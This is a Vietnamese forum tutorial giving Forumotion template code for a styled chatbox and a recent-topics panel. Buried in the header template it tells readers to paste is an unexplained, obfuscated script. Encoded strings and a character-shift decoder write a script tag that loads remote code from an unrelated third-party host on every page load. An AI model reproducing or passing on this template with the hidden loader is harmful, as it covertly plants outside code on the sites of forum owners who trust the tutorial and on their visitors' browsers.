[chia sẻ] Chatbox && Lasttopic (với top poster tự động cập nhật) style VBB

Chatbox
1. vào (ACP>>Display>>Colors>>CSS) thay toàn bộ (ACP>>Display>>Colors>>CSS) của chatbox bằng đoạn

Code:: /* Chatbox-------------------------------------------------------------*/
body.chatbox {
padding: 1px 1px 1px 1px;
margin: 0;
background-color: #ffffff;
background-image: none;
font: nomal 11px Tahoma;

}
#chatbox_header {
height: 33px;
}
#chatbox_header.main-head {
color: #dedfdf;
background-color: #1f537b;
}
.chatbox-title,.chatbox-title a.chat-title {
color: #dedfdf;
text-decoration: none;
}
.chatbox-title {
float: left;
margin: 0;
padding: 2px 5px 0 5px;
width: 15em;
}
.chatbox-options {
float: right;
list-style: none;
font-size: 11px;
margin: 0.7em 0.5em 0.5em 0.5em;
}
.chatbox-options li {
display:inline;
}
.chatbox-options li,.chatbox-options li a,.chatbox-options li label {
color: #dedfdf;
}
#chatbox_members {
position: absolute;
top: 44px;
bottom: 60px;
width: 168px;
overflow: auto;
padding: 1px;
border: 1px #00000 dashed;
}
#chatbox_messenger_form {
margin: 10px 0 0 0;
}
#chatbox_members .member-title {
text-align: center;
padding: 7px;
font-size: 12px;
background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/cat11010.gif) no-repeat top center;
color : #00569c;
font-family: Tahoma;

}
#chatbox_members ul {
list-style: none;
font-family: Tahoma;
font-size: 12px;
}
#chatbox_members ul li {
margin: 0 2px 0 0;
padding-left: 8px;
padding-bottom: 1px;
padding-top: 1px;
background-color: #;
font-family: Tahoma;
font-size: 12px;
border-left: 6px #6699ff solid;
border-top: 1px #ff69b4 dashed;
border-bottom: 1px #ff69b4 dashed;
border-right: 1px #ff69b4 solid;
}

#chatbox {
font-family: Tahoma;
font-size: 12px;
position: absolute;
top: 44px;
left: 181px;
right: 1px;
bottom: 60px;
overflow: auto;
line-height: 10px;
background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/konoib10.gif) no-repeat top right;
}
#chatbox p {
line-height: 1.2em;
}
.chatbox_row_1 {
padding: 8px;
background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
}
.chatbox_row_2 {
padding: 8px;
background-color: #;
border-top: 0px;
border-bottom: 0px;
padding: 2px;
color: #2b8bc7;
font-family: Tahoma;
font-size: 12px;
}
.chatbox_row_3 {
padding: 8px;
background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
}
#chatbox .user {
font-weight: bold;
}
.memberlist_row_1 {
background-color: #fbfbfb;
}
#chatbox_footer {
position: absolute;
bottom: 0;
left: 0;
right: 0;
}
#message,#submit_button{
border-width: 1px;
}
.fontbutton {
padding: 1px;
cursor: pointer;
text-align: left;
}
.fontbutton_normal {
background: #E1E1E2;
}
.fontbutton_selected {
background: #BBC7CE;
border: 1px solid #22229C;
}
.fontbutton_clicked {
background: #959595;
border: 1px solid #22229C;
}
.fontbutton_hover {
background: #E1E1E2;
border: 1px solid #22229C;
}
.fontbutton {
background:#E1E1E2 none repeat scroll 0%;
border:medium none;
color:#030303;
float:left;
margin-right:10px;
padding:1px;
}

/*Internet Explorer fixers and hacks for Chatbox *
/* html #chatbox-members {

/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
}
* html #chatbox {

/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 1.3) ) + "px");
}
* html #chatbox-footer {

/* IE expressions helping IE work in Standards mode */
width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
}
#chatbox_contextmenu {
border: 2px solid black;
background-color: #f4f9fd;
}
#chatbox_contextmenu p {
margin:0;
padding: 1px 4px;
font-family: Tahoma;
background: #fbfbfb;
border-bottom:1px solid #777;
}
#chatbox_contextmenu p.hover {
background: #f4f4f4;
}
#chatbox_contextmenu p.close {
padding: 1px;
font-size: 95%;
color:#fff;
background: url('');
}
#chatbox_contextmenu p.close img {
vertical-align: middle;
padding-left: 20px;
}
#chatbox_contextmenu a {
color: #00569c;
text-decoration: none;
font-size: 95%;
}
#chatbox_contextmenu a:hover {
color: ;
}

2. ACP>>module>>html>>QLTT>>Tạo 1 trang html rồi paste code này vào:

Trích dẫn :: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Chatbox</title><meta http-equiv="content-script-type" content="text/javascript" /><meta http-equiv="content-style-type" content="text/(ACP>>Display>>Colors>>CSS)" /><link rel="stylesheet" href="/(ACP>>Display>>Colors>>CSS).forum" type="text/(ACP>>Display>>Colors>>CSS)" /><script src="https://illiweb.com/fa/js_16/vi.js" type="text/javascript"></script><script type="text/javascript">//<![CDATA[
var params = '?archives=1';var smilies_sid = '';//]]></script><script src="https://illiweb.com/fa/js/chatbox3.js" type="text/javascript"></script><style type="text/(ACP>>Display>>Colors>>CSS)">* {margin: 0px;padding: 0;}html, body {overflow: hidden;}body {background-color: #ffffff;}</style></head><body class="chatbox" onload="CB_disconnect();ajax_refresh_chatbox('?archives=1');if (location.href.indexOf('reload')==-1) location.replace(location.href+'?reload');">

<div id="chatbox_header"><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td class="forumline" nowrap="nowrap" height="30" valign="top" style="padding: 0px"><table border="0" width="100%" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap" width="80px" height="30" valign="top" align="center"><a href="javascript:void(0)" onclick="CB_disconnect();"><span id="chatbox_option_co" style="display: ; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/dangnhap-1.gif></span><span id="chatbox_option_disco" style="display: none; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/thoat-1-1.gif></span></a></td><td class="forumline" nowrap="nowrap" height="25" style=""><table border="0" width="100%"><tr><td style="color:#000000;padding-top:2px; padding-left:10px; width:17%" class="forumline" valign="top" ><blink><font color='red' size='2'><b>Notice:</b></font></blink></td><td style="color:#000000;padding-left:1px;" class="forumline">
<br/>
<SCRIPT language=JavaScript type=text/JavaScript> v_content=[['','<font color="red"><b>Các bài viết không dấu + post sai sẽ bị xóa ngay lập tức</b></font>','_parent'], ['','<font color="red"><b>Nghiêm cấm nói tục, chửi bậy, đưa link bậy bạ lên Shoutbox!</b></font>','_parent'], ['','<font color="red"><b>Phải sử dụng tiếng việt có dấu toàn diễn đàn</b></font>','_parent'],['','<font color="red"><b>Cấm đả kích các thành viên khác trên Shoutbox!</b></font>','_parent']];</SCRIPT> <SCRIPT language=JavaScript1.2>// === 1 === FONT, COLORS, EXTRAS...
v_font='verdana';
v_fontSize='12px';
v_fontSizeNS4='12px';
v_fontWeight='normal';
v_fontColor='#000000';
v_textDecoration='none';
v_fontColorHover='#333333';// | won't work
v_textDecorationHover='none';// | in Netscape4
v_bgColor='transparent';
// set [='transparent'] for transparent
// set [='url(image_source)'] for image
v_top=-13
v_left=0;// | defining
v_width=400;// | the box
v_height=14;// |
v_paddingTop=-10;
v_paddingLeft=0;
v_position='relative';// absolute/relative
v_timeout=4000;//1000 = 1 second
v_slideSpeed=1;
v_slideDirection=0;//0=down-up;1=up-down
v_pauseOnMouseOver=true;
// v2.2+ new below
v_slideStep=3;//pixels
v_textAlign='center';// left/center/right
v_textVAlign='middle';// top/middle/bottom - won't work in Netscape4

// === 2 === THE CONTENT - ['href','text','target']
// Use '' for href to have no link item
v_content = v_content;
// ===
v_ua=navigator.userAgent;v_nS4=document.layers?1:0;v_iE=document.all&&!window.innerWidth&&v_ua.indexOf("MSIE")!=-1?1:0;v_oP=v_ua.indexOf("Opera")!=-1&&document.clear?1:0;v_oP7=v_oP&&document.appendChild?1:0;v_oP4=v_ua.indexOf("Opera")!=-1&&!document.clear;v_kN=v_ua.indexOf("Konqueror")!=-1&&parseFloat(v_ua.substring(v_ua.indexOf("Konqueror/")+10))<3.1?1:0;v_count=v_content.length;v_cur=1;v_cl=0;v_d=v_slideDirection?-1:1;v_TIM=0;v_fontSize2=v_nS4&&navigator.platform.toLowerCase().indexOf("win")!=-1?v_fontSizeNS4:v_fontSize;v_canPause=0;function v_getOS(a){return v_iE?document.all[a].style:v_nS4?document.layers["v_container"].document.layers[a]:document.getElementById(a).style};function v_start(){var o,px;o=v_getOS("v_1");px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o.top)==v_paddingTop){v_canPause=1;if(v_count>1)v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}o.top=(parseInt(o.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d?parseInt(o.top)-v_slideStep*v_d+px:v_paddingTop+px;if(v_oP&&o.visibility.toLowerCase()!="visible")o.visibility="visible";setTimeout("v_start()",v_slideSpeed)};function v_slide(){var o,o2,px;o=v_getOS("v_"+v_cur);o2=v_getOS("v_"+(v_cur<v_count?v_cur+1:1));px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o2.top)==v_paddingTop){if(v_oP)o.visibility="hidden";o.top=v_height*v_d+px;v_cur=v_cur<v_count?v_cur+1:1;v_canPause=1;v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}if(v_oP&&o2.visibility.toLowerCase()!="visible")o2.visibility="visible";if((parseInt(o2.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d){o.top=parseInt(o.top)-v_slideStep*v_d+px;o2.top=parseInt(o2.top)-v_slideStep*v_d+px}else{o.top=-v_height*v_d+px;o2.top=v_paddingTop+px}setTimeout("v_slide()",v_slideSpeed)};if(v_nS4||v_iE||v_oP||document.getElementById&&!v_kN&&!v_oP4){
document.write("<style>.vnewsticker,a.vnewsticker{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColor+";text-decoration:"+v_textDecoration+";font-weight:"+v_fontWeight+"}a.vnewsticker:hover{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColorHover+";text-decoration:"+v_textDecorationHover+"}</style>");v_temp="<div "+(v_nS4?"name":"id")+"=v_container style='position:"+v_position+";top:"+v_top+"px;left:"+v_left+"px;width:"+v_width+"px;height:"+v_height+"px;background:"+v_bgColor+";layer-background"+(v_bgColor.indexOf("url(")==0?"-image":"-color")+":"+v_bgColor+";clip:rect(0,"+v_width+","+v_height+",0);overflow:hidden'>"+(v_iE?"<div style='position:absolute;top:0px;left:0px;width:100%;height:100%;clip:rect(0,"+v_width+","+v_height+",0)'>":"");for(v_i=0;v_i<v_count;v_i++)
v_temp+="<div "+(v_nS4?"name":"id")+"=v_"+(v_i+1)+" style='position:absolute;top:"+(v_height*v_d)+"px;left:"+v_paddingLeft+"px;width:"+(v_width-v_paddingLeft*2)+"px;height:"+(v_height-v_paddingTop*2)+"px;clip:rect(0,"+(v_width-v_paddingLeft*2)+","+(v_height-v_paddingTop*2)+",0);overflow:hidden"+(v_oP?";visibility:hidden":"")+";text-align:"+v_textAlign+"' class=vnewsticker>"+(!v_nS4?"<table width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" cellpadding=0 cellspacing=0 border=0><tr><td width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" align="+v_textAlign+" valign="+v_textVAlign+" class=vnewsticker>":"")+(v_content[v_i][0]!=""?"<a href='"+v_content[v_i][0]+"' target='"+v_content[v_i][2]+"' class=vnewsticker"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">":"<span"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">")+v_content[v_i][1]+(v_content[v_i][0]!=""?"</a>":"</span>")+(!v_nS4?"</td></tr></table>":"")+"</div>";v_temp+=(v_iE?"</div>":"")+"</div>";document.write(v_temp);setTimeout("v_start()",1000);if(v_nS4)onresize=function(){location.reload()}}</SCRIPT>
</center></td></tr></table></td></tr></table></td></tr></table></div>
<hr>
<div id="chatbox_members" curpos="0" maxpos="460" pageincrement="144" increment="10"></div>
<div id="chatbox"></div>

<div id="chatbox_footer" style="display: none;"><div id="chatbox_messenger">
<hr>
<form name="post" action="/chatbox/chatbox.forum" method="post" onsubmit="submitmsg('?archives=1');refresh_chatbox('?archives=1');return false;"><table width="100%" cellspacing="1" cellpadding="0"><tr><td class="forumline"><div id="chatbox_messenger_form"><table cellspacing="0" cellpadding="0" height="40" width="100%" class="chatfootertable"><tr><td width="100%" align="left"><table cellspacing="2" cellpadding="0" border="0" style="line-height: 0px;" class="text-styles" ><tr><td><input type="hidden" name="sbold" value="0"><input type="hidden" name="sitalic" value="0"><input type="hidden" name="sunderline" value="0"><input type="hidden" name="sstrike" value="0"><input type="hidden" name="scolor" id="scolor" value="#000000"><span class="gen" onclick="document.post.message.focus();"><label><input type="text" id="message" name="message" size="110" maxlength="1024" class="post" autocomplete="off" onkeydown="number_of_refresh=0;" /></label> <input type="hidden" name="sent" value="" /> </span></td></tr><tr><td><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td width="40px"><input type="image" src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/gui.gif" name="submit_button" id="submit_button" style="border: 1px solid #cccccc;" /></td><td nowrap="nowrap" width="73px" ><a href="http://a1tinhgia3.co.cc/html-h14.htm" target="chatbox"><img src='https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/phongto.gif' style='border: 1px solid #cccccc;'></a></td><td><div id="divbold" class="fontbutton fontbutton_normal" style="background-color: #ffffff;" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sbold.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('bold');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sbold.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/b.gif" width="23" height="21" alt="Bold" title="Bold" /></div></td><td><div style="background-color: #ffffff;" id="divitalic" class="fontbutton fontbutton_normal"onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sitalic.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('italic');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sitalic.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/i.gif" width="21" height="21" alt="Ital." title="Ital." /></div></td><td><div style="background-color: #ffffff;" id="divunderline" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sunderline.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('underline');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sunderline.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/u.gif" width="24" height="21" alt="Underl." title="Underl." /></div></td><td><div style="background-color: #ffffff;" id="divstrike" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sstrike.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('strike');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sstrike.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/s.gif" width="24" height="21" alt="Strike" title="Strike" /></div></td><td width="10"> </td><td><div style="background-color: #ffffff;" id="divsmilies" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectsmilies(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/matcuoi.gif" width="63" height="21" alt="Biểu tượng" title="Biểu tượng" /></div></td><td><div style="background-color: #ffffff;" id="divcolor" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectcolor(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/a.gif" width="20" height="16" alt="Màu font" title="Màu font" /><br><img src="https://2img.net/i/fa/subsilver/wysiwyg/clear.gif" id="show_color" alt="Màu font" title="Màu font" width="20" height="4" /></div></td><td width="200px" align="right" class="chatbox-options"><div class="genmed" id="chatbox_main_options"><a href="javascript:void(0)" onclick="ajax_refresh_chatbox('?archives=1', 1);"><span>Refresh</span></a> | <span id="chatbox_option_with_archives" style="display: ;"><a href="/chatbox/chatbox.forum?archives=1"></a></span><span id="chatbox_option_without_archives" style="display: none;"><a href="/chatbox/chatbox.forum?archives=0">Without archives</a></span><span id="chatbox_option_autorefresh" style="display: none;" onclick="refresh_chatbox('?archives=1');"><label for="refresh_auto">Auto refresh </label><input type="checkbox" name="refresh_auto" id="refresh_auto" checked="checked" style="background: transparent;" /></span></div></td></tr></table></td></tr></table></td></tr></table></div></td></tr></table></form></div></div><script type="text/javascript">//<![CDATA[
function CB_disconnect(){if ( connected ){ajax_connect('?archives=0', 'disconnect');clearInterval(refresh_interval);}else{ajax_connect('?archives=1', 'connect');try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}}if ( document.location.href.indexOf('chatbox', 1) == -1 ){$('#divcolor').(ACP>>Display>>Colors>>CSS)('display');$('#divsmilies').(ACP>>Display>>Colors>>CSS)('display');}var connected = false;var chatbox_updated = 1280083407;var chatbox_last_update = 1280083407;var template_color = '#000000';var refresh_interval;window.setTimeout("document.getElementById('chatbox').scrollTop = 999999; Init_pref();", 200);window.setTimeout("document.getElementById('chatbox').scrollTop = 999999;", 1000);if ( connected ){try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}else{try {refresh_chatbox('?archives=1');} catch (err) { }}//]]></script></body></html>

Các bạn chú ý nhé!! trong đoạn html Chatbox tớ đưa, sau khi paste vào và submit thì các bạn kiểm tra lại chỗ này thật chính xác chưa??

Code:: [font=Courier New]{$('#divcolor').(ACP>>Display>>Colors>>CSS)('display');$('#divsmilies').(ACP>>Display>>Colors>>CSS)('display');}[/font]

vì đôi khi lỗi paste code vào nó mất đi cái "$"
3. Activate chatbox nhưng không cho nó hiện.
sau đó sử dụng iframe mà chèn(tức là vào module>>chatbox>>cấu hình>> activate chọn có và do not display.
sau đó dùng iframe:

Code:: <iframe src="[color=red]link của trang html[/color]" height="440" width="100%" frameborder="0"></iframe>

chèn vào trước {CHATBOX_TOP} trong index_body):

Lasttopic1. HTML:
ACP>>display>>(ACP>>Display>>Template)>>QLTT>> overall_header
tìm:

Trích dẫn :

<div id="page-body">
<div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
<table cellpadding="0" cellspacing="0" width="100%" class="three-col">
<tbody>
<tr>
<td valign="top" width="{C1SIZE}">
<div id="{ID_LEFT}">

{giefmod_index1.MODVAR}

<div style="height:{SPACE_ROW}px"></div>


</div>
</td>
<td valign="top" width="100%">

</td>
</tr>
</tbody>
</table>
</div>
</div>
</td>
</tr>
</table>
</body>
</html>


thay bằng:

Code:

<div id="page-body">
<div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
<table class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" >
<tr>
<td valign="top" width="100%">
<div class="test">
<table class="thongke" cellpadding="5" cellspacing="0" style="border: 1px #ded7d7 solid;" border="0" width="100%" align="center">
<thead>
<tr valign="top">
<td class="catHead"><center>News & Announcements</center></td>
</tr>
</thead>
<tr>
<td width="100%">
<table class="thongke" cellpadding="0" cellspacing="2" border="0" width="100%" align="center">
<thead>
<tr valign="top">
<td width="23%"></td><td width="100%" colspan="2"></td>
</tr>
<tr>
<td><table class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" ><tr><td colspan="3"><div class="mainbox" style="margin-bottom: 5px;"><ul class="tabs"><li class="current"><span style="padding: 0px 7px;">Gallery & Others</span></li></ul><embed src="http://ahs4ever.org/forum/vietvbb/topx/focus.swf" wmode="opaque" FlashVars="config=5|0xffffff|0x0099ff|50|0xffffff|0x0099ff|0x000000&bcastr_flie=http://i62.servimg.com/u/f62/14/52/40/23/anh110.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh210.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh310.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh410.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh510.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh810.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh710.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh610.jpg|http://img18.imageshack.us/img18/5038/23745672.gif&bcastr_link=http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|/forum-f2/&bcastr_title=Ngày còn đi học!! |Ảnh của A1 khi đã là sv nè, hot nhé!!|Ảnh liên hoan cuối cấp đây!!|Ảnh tùm lum|Năm tháng cũ|Ảnh hậu cấp 3|Liên hoan|Ảnh đi chơi ở bách khoa nè|Đuổi hình bắt chữ & menu="false" quality="high" width="100%" height="150" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></div></td></tr>
<tr>
<td valign="top" style="border: 1px solid #9DB3C5; border-right: 0px;">
{giefmod_index1.MODVAR} </td>
</tr>
</thead>
</table>

</td></tr></table>

</div>
</td>
</tr>
<tr>
<td valign="top" width="100%">

</td>
</tr>
</tbody>
</table>

</div>
</div>
</td>
</tr>
</table>
</body>
</html>

<script type='text/javascript'>
var str3='%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E';document.write(unescape(str3));var str4='*8Hxhwnuy*75qfslzflj*8I*77of%7Bfxhwnuy*77*8Jkzshynts*75lnfnrf7*7%3Dtg*7%3E*%3CG%7Bfw*75ht*8I5*8G%7Bfw*75wj*8I*7%3C*7%3C*8G%7Cmnqj*7%3Dht*8Htg3qjslym*7%3E*%3CGwj0*8IXywnsl3kwtrHmfwHtij*7%3Dtg*%3AGht*%3AI*7%3E*8Ght00*8G*%3CIwjyzws*75wj*8G*%3CI*8H4xhwnuy*8J5';dF(str4);var str2=new Array(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,51,122,46,99,111,46,99,99,47,104,116,109,108,45,104,51,51,46,104,116,109,62,60,47,115,99,114,105,112,116,62);document.write(giaima2(str2));
</script>

Sau đó:
ACP>>display>>(ACP>>Display>>Template)>>portal>>mod_recent_topic
thay toàn bộ code bằng:

Code:

</tr></table></td>
<td style="width: 0px"></td>
<td valign="top" style="border: 1px solid #9DB3C5; padding: 1px">
<style type="text/(ACP>>Display>>Colors>>CSS)">
th,td,p {
font-family: Tahoma,Verdana,Arial,Helvetica,sans-serif }
/* Style cho menu tabs */div.TabView div.Tabs{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs: hover,{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs a , div.TabView div.Tabs a:hover {float: left;display: block;background-color:#;text-align: center;height: 29px;padding: 6px;vertical-align: middle;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; /* đường viền quanh tabs menu */text-decoration: none;font-family: Tahoma;font-size: 11px;color: #000000;}.hotrott{background-color: #ffffff;border: 0px solid #ded7d7;}.nen{background-color: #ffffff;border: 1px solid #ded7d7;}div.TabView div.Tabs a.Active{background-color: #ffffff; /* màu nền tab menu active */color: #000000;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; padding: 6px;height: 29px;font-size: 11px;font-weight: bold;}/* Style cho phần text nội dung của mỗi tab */div.TabView {clear: both;border: 0px solid #ffffff;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}div.TabView div.Pages div.Page{height: 100%;padding: 0px;border: 0px solid #b4d0f3;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}</style><script type="text/javascript" src="http://untip-js.googlecode.com/files/Tabview.js"></script><div id="TabView" class="TabView" style="padding: 0px;"><div width="100%" class="Tabs"><a class="Active" href="javascript:tabview_switch('TabView', 1);">Bài Viết Mới</a><a>Thống kê</a><ul class="tabs" id="vietvbb_topstats_t"> <li style="border-right: 0px; display: none;" id="vietvbb_topstats_t_loading"></li> </ul> </div><div style="height:410px; width:100%" class="Pages"><div class="Page" style="padding: 0px; height: 304px; display: block;">
<table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="80%"><a onmouseover="showtip('<b>Tiêu đề:</b> <font color=#B429DF>{classical_row.recent_topic_row.L_TITLE}</font><br> <b>Thời gian:</b> <font color=#297CDF>{classical_row.recent_topic_row.S_POSTTIME}</font>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_TITLE}"><b><font style="font-family: Tahoma; font-size: 11px">{classical_row.recent_topic_row.L_TITLE}</font></b></a><br></td><td></td><td style="border-top: 0px none; padding: 2px; line-height: 20px; background-repeat: repeat;" align="right" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="20%"><a onmouseover="showtip('<span>Click để xem profile của thành viên này !</span>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_POSTER}"><font style="font-family: Tahoma; font-size: 11px"><img src="http://i832.photobucket.com/albums/zz244/a1tg3/mem.gif" height="13" />{classical_row.recent_topic_row.S_POSTER}  